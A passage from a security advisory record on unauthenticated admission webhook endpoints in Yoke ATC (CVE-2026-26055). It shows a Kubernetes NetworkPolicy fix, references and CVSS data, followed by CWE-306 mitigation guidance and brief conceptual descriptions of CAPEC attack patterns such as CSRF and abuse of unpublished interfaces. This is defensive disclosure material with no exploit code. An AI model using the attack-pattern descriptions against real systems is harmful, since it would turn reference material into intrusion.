access to ATC service, allowing only kube-apiserver to connect\n```yaml\napiVersion: networking.k8s.io/v1\nkind: NetworkPolicy\nmetadata:\n name: atc-webhook-policy\n namespace: atc\nspec:\n podSelector:\n matchLabels:\n yoke.cd/app: atc\n policyTypes:\n - Ingress\n ingress:\n - from:\n - namespaceSelector:\n matchLabels:\n kubernetes.io/metadata.name: kube-system\n podSelector:\n matchLabels:\n component: kube-apiserver\n```\n\n2. **Service Mesh**: Use a service mesh (Istio, Linkerd) to enforce mTLS between services\n\n3. **Pod Security**: Implement strict pod security policies to limit which pods can be created in the cluster\n\n## References\n\n- Yoke Project: https://github.com/yokecd/yoke\n- Kubernetes Admission Webhooks: https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/\n- CWE-306: Missing Authentication for Critical Function: https://cwe.mitre.org/data/definitions/306.html\n\n## Credits\ncredit for:\n@b0b0haha (603571786@qq.com)\n@lixingquzhi (mayedoushidalao@163.com)",
"id": "GHSA-965m-v4cc-6334",
"modified": "2026-02-13T17:15:36Z",
"published": "2026-02-12T22:06:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/yokecd/yoke/security/advisories/GHSA-965m-v4cc-6334"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26055"
},
{
"type": "PACKAGE",
"url": "https://github.com/yokecd/yoke"
},
{
"type": "WEB",
"url": "https://github.com/yokecd/yoke/blob/bc9c576a790df8c42aa06b90fb406220f1de22a0/cmd/atc/handler.go#L148-L153"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Unauthenticated Admission Webhook Endpoints in Yoke ATC"
}
Mitigation
- Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
- Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
- In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
- In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].
CAPEC-12: Choosing Message Identifier
This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.
CAPEC-166: Force the System to Reset Values
An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.
CAPEC-216: Communication Channel Manipulation
An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.